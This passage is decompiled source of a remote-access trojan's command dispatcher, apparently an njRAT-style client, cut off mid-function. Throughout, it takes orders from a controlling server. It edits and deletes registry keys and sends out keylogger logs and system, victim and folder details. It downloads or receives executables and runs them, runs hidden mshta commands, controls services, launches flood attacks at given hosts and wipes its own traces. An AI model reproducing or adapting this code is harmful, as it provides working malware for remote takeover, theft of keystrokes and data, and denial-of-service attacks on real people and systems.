(Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false)) - registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false)) - registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false)) - registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false)) - registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - return registryKey; - } - - public static void ind(byte[] Da) - { - int num1 = 0; - string str1 = Encoding.UTF8.GetString(Da); - int num2; - try - { - Array Instance1 = (Array) Strings.Split(str1, IND.Y); - string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null).ToString(); - int num3; - if (Operators.CompareString(Left1, "#KON", false) == 0) - B.KON = Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "T", false); - else if (Operators.CompareString(Left1, "#RG", false) == 0) - { - num1 = 1; - object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false)) - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num4 = 2; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num4; - objArray2[0] = (object) local1; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - ref string local2 = ref str2; - bool flag = false; - ref bool local3 = ref flag; - RegistryKey registryKey1 = IND.Rk(ref local2, ref local3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num4, - (object) str2 - }, (string[]) null, true, false); - RegistryKey registryKey2 = registryKey1; - string[] subKeyNames = registryKey2.GetSubKeyNames(); - int index1 = 0; - string Right; - string s; - while (index1 < subKeyNames.Length) - { - string str3 = subKeyNames[index1]; - string str4 = Right; - s = str3 + IND.Y + IND.Y + "Key"; - string str5 = API.ENB(ref s); - string y = IND.Y; - Right = str4 + str5 + y; - checked { ++index1; } - } - string[] valueNames = registryKey2.GetValueNames(); - int index2 = 0; - while (index2 < valueNames.Length) - { - string name = valueNames[index2]; - string str6 = registryKey2.GetValue(name, RuntimeHelpers.GetObjectValue(new object())).ToString(); - if (str6.Length > 200) - str6 = Strings.Mid(str6, 1, 200); - string str7 = Right; - s = name + IND.Y + str6 + IND.Y + "Value"; - string str8 = API.ENB(ref s); - string y = IND.Y; - Right = str7 + str8 + y; - checked { ++index2; } - } - B b = MyProject.Forms.B; - s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y), (object) Right)); - ref string local4 = ref s; - b.SEND(ref local4); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false)) - { - Array Instance3 = Instance1; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num5 = 2; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num5; - objArray4[0] = (object) local5; - object[] Arguments = objArray3; - string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local6 = ref str9; - bool flag = true; - ref bool local7 = ref flag; - RegistryKey registryKey = IND.Rk(ref local6, ref local7); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num5, - (object) str9 - }, (string[]) null, true, false); - registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 4 - }, (string[]) null))); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false)) - { - Array Instance4 = Instance1; - object[] objArray5 = new object[1]; - object[] objArray6 = objArray5; - int num6 = 2; - // ISSUE: variable of a boxed type - __Boxed local8 = (ValueType) num6; - objArray6[0] = (object) local8; - object[] Arguments = objArray5; - string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null)); - ref string local9 = ref str10; - bool flag = true; - ref bool local10 = ref flag; - RegistryKey registryKey3 = IND.Rk(ref local9, ref local10); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num6, - (object) str10 - }, (string[]) null, true, false); - RegistryKey registryKey4 = registryKey3; - int num7 = checked (Instance1.Length - 1); - int num8 = 3; - while (num8 <= num7) - { - Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num8 - }, (string[]) null)), "\\"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 1 - }, (string[]) null), (object) "Key", false)) - registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - else - registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - checked { ++num8; } - } - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false)) - { - Array Instance6 = Instance1; - object[] objArray7 = new object[1]; - object[] objArray8 = objArray7; - int num9 = 2; - // ISSUE: variable of a boxed type - __Boxed local11 = (ValueType) num9; - objArray8[0] = (object) local11; - object[] Arguments = objArray7; - string str11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null)); - ref string local12 = ref str11; - bool flag = true; - ref bool local13 = ref flag; - RegistryKey registryKey = IND.Rk(ref local12, ref local13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num9, - (object) str11 - }, (string[]) null, true, false); - registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - } - } - else if (Operators.CompareString(Left1, "#k", false) == 0) - { - num1 = 1; - string str12 = "lg"; - ref string local14 = ref str12; - string str13 = ".."; - ref string local15 = ref str13; - string s = NK.GetValue(ref local14, ref local15); - B b = MyProject.Forms.B; - string str14 = "#k" + IND.Y + API.ENB(ref s); - ref string local16 = ref str14; - b.SEND(ref local16); - } - else if (Operators.CompareString(Left1, "#X", false) == 0) - { - num1 = 0; - int offset = checked (8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null).ToString().Length); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, offset, checked (Da.Length - offset)); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(array, ref local); - int num10 = 0; - do - { - if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - try - { - File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num10; } - } - else - { - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - } - while (num10 <= 999); - } - else if (Operators.CompareString(Left1, "##", false) == 0) - { - num1 = 5; - MyProject.Computer.Registry.CurrentUser.SetValue(B.plg, RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - B b = MyProject.Forms.B; - string str15 = "plugin"; - ref string local = ref str15; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#Rec", false) != 0) - { - if (Operators.CompareString(Left1, "#ser0", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - string str16; - string s; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - string str17 = str16; - string y = IND.Y; - s = serviceController.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(serviceController.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + serviceController.Status.ToString() + "{}" + serviceController.DisplayName; - string str18 = API.ENB(ref s); - str16 = str17 + y + str18; - checked { ++index; } - } - B b = MyProject.Forms.B; - s = "#ser0" + str16; - ref string local = ref s; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#ser1", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - if (Operators.ConditionalCompareObjectEqual((object) serviceController.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - serviceController.Start(); - checked { ++index; } - } - } - else if (Operators.CompareString(Left1, "#ser2", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - if (Operators.ConditionalCompareObjectEqual((object) serviceController.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - serviceController.Stop(); - checked { ++index; } - } - } - else if (Operators.CompareString(Left1, "#R", false) == 0) - { - num1 = 0; - string str19 = "vname"; - ref string local17 = ref str19; - Array Instance7 = Instance1; - object[] objArray9 = new object[1]; - object[] objArray10 = objArray9; - int num11 = 1; - // ISSUE: variable of a boxed type - __Boxed local18 = (ValueType) num11; - objArray10[0] = (object) local18; - object[] Arguments = objArray9; - string str20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null)); - ref string local19 = ref str20; - NK.SetValue(ref local17, ref local19); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num11, - (object) str20 - }, (string[]) null, true, false); - B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - B b = MyProject.Forms.B; - string str21 = "#R" + IND.Y + B.Vname; - ref string local20 = ref str21; - b.SEND(ref local20); - } - else if (Operators.CompareString(Left1, "p", false) == 0) - { - B b = MyProject.Forms.B; - string str22 = "p"; - ref string local = ref str22; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#0", false) == 0) - { - num1 = 0; - B b1 = MyProject.Forms.B; - string str23 = "#red"; - ref string local21 = ref str23; - b1.SEND(ref local21); - FLD fld1 = new FLD(); - FLD fld2 = fld1; - Array Instance8 = Instance1; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num12 = 1; - // ISSUE: variable of a boxed type - __Boxed local22 = (ValueType) num12; - objArray12[0] = (object) local22; - object[] Arguments1 = objArray11; - string s1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments1, (string[]) null)); - string Expression1 = API.DEB(ref s1); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num12, - (object) s1 - }, (string[]) null, true, false); - string y1 = IND.Y; - string str24 = Strings.Split(Expression1, y1)[0]; - fld2.HOST = str24; - FLD fld3 = fld1; - Array Instance9 = Instance1; - object[] objArray13 = new object[1]; - object[] objArray14 = objArray13; - int num13 = 1; - // ISSUE: variable of a boxed type - __Boxed local23 = (ValueType) num13; - objArray14[0] = (object) local23; - object[] Arguments2 = objArray13; - string s2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance9, Arguments2, (string[]) null)); - string Expression2 = API.DEB(ref s2); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num13, - (object) s2 - }, (string[]) null, true, false); - string y2 = IND.Y; - int integer1 = Conversions.ToInteger(Strings.Split(Expression2, y2)[1]); - fld3.Port = integer1; - fld1.pk = new byte[1001]; - FLD fld4 = fld1; - Array Instance10 = Instance1; - object[] objArray15 = new object[1]; - object[] objArray16 = objArray15; - int num14 = 1; - // ISSUE: variable of a boxed type - __Boxed local24 = (ValueType) num14; - objArray16[0] = (object) local24; - object[] Arguments3 = objArray15; - string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance10, Arguments3, (string[]) null)); - string Expression3 = API.DEB(ref s3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num14, - (object) s3 - }, (string[]) null, true, false); - string y3 = IND.Y; - int integer2 = Conversions.ToInteger(Strings.Split(Expression3, y3)[2]); - fld4.Count = integer2; - FLD fld5 = fld1; - bool flag = false; - ref bool local25 = ref flag; - fld5.Start(ref local25); - B b2 = MyProject.Forms.B; - string str25 = "#Bla"; - ref string local26 = ref str25; - b2.SEND(ref local26); - } - else if (Operators.CompareString(Left1, "#1", false) == 0) - { - num1 = 0; - B b3 = MyProject.Forms.B; - string str26 = "#red"; - ref string local27 = ref str26; - b3.SEND(ref local27); - FLD fld6 = new FLD(); - FLD fld7 = fld6; - Array Instance11 = Instance1; - object[] objArray17 = new object[1]; - object[] objArray18 = objArray17; - int num15 = 1; - // ISSUE: variable of a boxed type - __Boxed local28 = (ValueType) num15; - objArray18[0] = (object) local28; - object[] Arguments4 = objArray17; - string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments4, (string[]) null)); - string Expression4 = API.DEB(ref s4); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num15, - (object) s4 - }, (string[]) null, true, false); - string y4 = IND.Y; - string str27 = Strings.Split(Expression4, y4)[0]; - fld7.HOST = str27; - FLD fld8 = fld6; - Array Instance12 = Instance1; - object[] objArray19 = new object[1]; - object[] objArray20 = objArray19; - int num16 = 1; - // ISSUE: variable of a boxed type - __Boxed local29 = (ValueType) num16; - objArray20[0] = (object) local29; - object[] Arguments5 = objArray19; - string s5 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments5, (string[]) null)); - string Expression5 = API.DEB(ref s5); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num16, - (object) s5 - }, (string[]) null, true, false); - string y5 = IND.Y; - int integer3 = Conversions.ToInteger(Strings.Split(Expression5, y5)[1]); - fld8.Port = integer3; - fld6.pk = new byte[1001]; - FLD fld9 = fld6; - Array Instance13 = Instance1; - object[] objArray21 = new object[1]; - object[] objArray22 = objArray21; - int num17 = 1; - // ISSUE: variable of a boxed type - __Boxed local30 = (ValueType) num17; - objArray22[0] = (object) local30; - object[] Arguments6 = objArray21; - string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments6, (string[]) null)); - string Expression6 = API.DEB(ref s6); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num17, - (object) s6 - }, (string[]) null, true, false); - string y6 = IND.Y; - int integer4 = Conversions.ToInteger(Strings.Split(Expression6, y6)[2]); - fld9.Count = integer4; - FLD fld10 = fld6; - bool flag = true; - ref bool local31 = ref flag; - fld10.Start(ref local31); - B b4 = MyProject.Forms.B; - string str28 = "#Bla"; - ref string local32 = ref str28; - b4.SEND(ref local32); - } - else if (Operators.CompareString(Left1, "#2", false) == 0) - { - num1 = 0; - string str29 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".")[checked (Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null)), ".").Length - 1)]; - int num18 = 0; - while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29)) - { - try - { - File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29); - int num19; - checked { ++num19; } - if (num19 <= 5) - continue; - goto label_300; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num18; } - if (num18 > 9999) - goto label_300; - } - string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29; - Network network = MyProject.Computer.Network; - object[] objArray23 = new object[2]; - object[] objArray24 = objArray23; - Array Instance14 = Instance1; - object[] objArray25 = new object[1]; - object[] objArray26 = objArray25; - int num20 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num20; - objArray26[0] = (object) local; - object[] Arguments7 = objArray25; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance14, Arguments7, (string[]) null)); - objArray24[0] = objectValue; - objArray23[1] = (object) fileName; - object[] objArray27 = objArray23; - object[] Arguments8 = objArray27; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments8, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num20, - RuntimeHelpers.GetObjectValue(objArray27[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray27[1]), typeof (string)); - Process.Start(fileName); - } - else if (Operators.CompareString(Left1, "#3", false) == 0) - { - num1 = 0; - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y); - memoryStream.Write(bytes1, 0, bytes1.Length); - Encoding encoding = Encoding.Default; - ref byte[] local33 = ref C.Plug; - string str30 = "plugin.C"; - ref string local34 = ref str30; - string str31 = "Pass"; - ref string local35 = ref str31; - object obj = (object) null; - ref object local36 = ref obj; - string s7 = Conversions.ToString(C.inv(ref local33, ref local34, ref local35, ref local36)); - string s8 = API.ENB(ref s7); - byte[] bytes2 = encoding.GetBytes(s8); - bool flag = true; - ref bool local37 = ref flag; - byte[] buffer = API.ZIP(bytes2, ref local37); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - else if (Operators.CompareString(Left1, "#4", false) == 0) - { - num1 = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - A.fj.Dispose(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - if (B.UU) - { - try - { - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "!", false)) - { - NK.CLEAR(); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - if (File.Exists(driveInfo.Name + B.Uo)) - File.Delete(driveInfo.Name + B.Uo); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - string path = Application.StartupPath + "\\j.vbs"; - string w = n.My.Resources.Resources.W; - string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath); - File.WriteAllText(path, contents); - Process.Start(Application.StartupPath + "\\j.vbs"); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#5", false) == 0) - { - num1 = 0; - Process process = Process.Start(new ProcessStartInfo() - { - FileName = "mshta.exe", - Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - Thread.Sleep(60000); - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#6", false) == 0) - { - num1 = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - if (A.fj.Id > 1) - A.fj.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Process.Start(Application.ExecutablePath); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#7", false) == 0) - { - num1 = 2; - Array Instance15 = Instance1; - object[] objArray28 = new object[1]; - object[] objArray29 = objArray28; - int num21 = 1; - // ISSUE: variable of a boxed type - __Boxed local38 = (ValueType) num21; - objArray29[0] = (object) local38; - object[] Arguments = objArray28; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance15, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num21, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length == 0) - { - B b = MyProject.Forms.B; - string str32 = "#5" + IND.Y + Conversions.ToString(0); - ref string local39 = ref str32; - b.SEND(ref local39); - } - else - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, checked (IND.Y.Length + 2)); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#8", false) == 0) - { - string Right = "\r\n"; - string str33; - string s = Conversions.ToString(Operators.AddObject((object) (str33 + "pC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace(" ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + Strings.Format((object) ((double) MyProject.Computer.Info.TotalPhysicalMemory / 1073741824.0), "#0.00 GB") + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + "_" + sc.HWD() + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + NK.Key + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No"); - B b = MyProject.Forms.B; - string str34 = "#7" + IND.Y + API.ENB(ref s); - ref string local = ref str34; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#9", false) == 0) - { - num1 = 6; - string str35; - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - try - { - if (driveInfo.IsReady) - { - string str36 = str35; - string y = IND.Y; - string s = driveInfo.Name + IND.Y + driveInfo.DriveType.ToString(); - string str37 = API.ENB(ref s); - str35 = str36 + y + str37; - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - string[] strArray1 = "UserProfile.Public.ProgramFiles.ProgramData.AppData.LocalAppData.WinDir.Temp".Split('.'); - string str38 = str35; - string y7 = IND.Y; - string s9 = "Desktop" + IND.Y + "DIR" + IND.Y + MyProject.Computer.FileSystem.SpecialDirectories.Desktop; - string str39 = API.ENB(ref s9); - string str40 = str38 + y7 + str39; - string[] strArray2 = strArray1; - int index3 = 0; - while (index3 < strArray2.Length) - { - string Expression = strArray2[index3]; - try - { - string str41 = Interaction.Environ(Expression); - if (str41.Length > 0) - { - string str42 = str40; - string y8 = IND.Y; - string s10 = Expression + IND.Y + "DIR" + IND.Y + str41; - string str43 = API.ENB(ref s10); - str40 = str42 + y8 + str43; - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index3; } - } - string str44 = str40; - string y9 = IND.Y; - string s11 = "System32" + IND.Y + "DIR" + IND.Y + Interaction.Environ("windir") + "\\system32"; - string str45 = API.ENB(ref s11); - string str46 = str44 + y9 + str45; - B b = MyProject.Forms.B; - string str47 = "#8" + str46; - ref string local = ref str47; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#10", false) == 0) - { - num1 = 6; - Array Instance16 = Instance1; - object[] objArray30 = new object[1]; - object[] objArray31 = objArray30; - int num22 = 1; - // ISSUE: variable of a boxed type - __Boxed local40 = (ValueType) num22; - objArray31[0] = (object) local40; - object[] Arguments9 = objArray30; - string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments9, (string[]) null)); - string path1 = API.DEB(ref s12); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num22, - (object) s12 - }, (string[]) null, true, false); - string[] directories = Directory.GetDirectories(path1); - int index4 = 0; - string str48; - while (index4 < directories.Length) - { - string str49 = directories[index4]; - string str50 = str48; - string y = IND.Y; - string Expression = str49; - Array Instance17 = Instance1; - object[] objArray32 = new object[1]; - object[] objArray33 = objArray32; - int num23 = 1; - // ISSUE: variable of a boxed type - __Boxed local41 = (ValueType) num23; - objArray33[0] = (object) local41; - object[] Arguments10 = objArray32; - string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments10, (string[]) null)); - string Find = API.DEB(ref s13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num23, - (object) s13 - }, (string[]) null, true, false); - string s14 = Strings.Replace(Expression, Find, "") + "*DIR"; - string str51 = API.ENB(ref s14); - str48 = str50 + y + str51; - checked { ++index4; } - } - string[] strArray3 = new string[5] - { - "png", - "jpg", - "jpeg", - "bmp", - "ico" - }; - int num24 = 0; - Array Instance18 = Instance1; - object[] objArray34 = new object[1]; - object[] objArray35 = objArray34; - int num25 = 1; - // ISSUE: variable of a boxed type - __Boxed local42 = (ValueType) num25; - objArray35[0] = (object) local42; - object[] Arguments11 = objArray34; - string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, Arguments11, (string[]) null)); - string path2 = API.DEB(ref s15); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num25, - 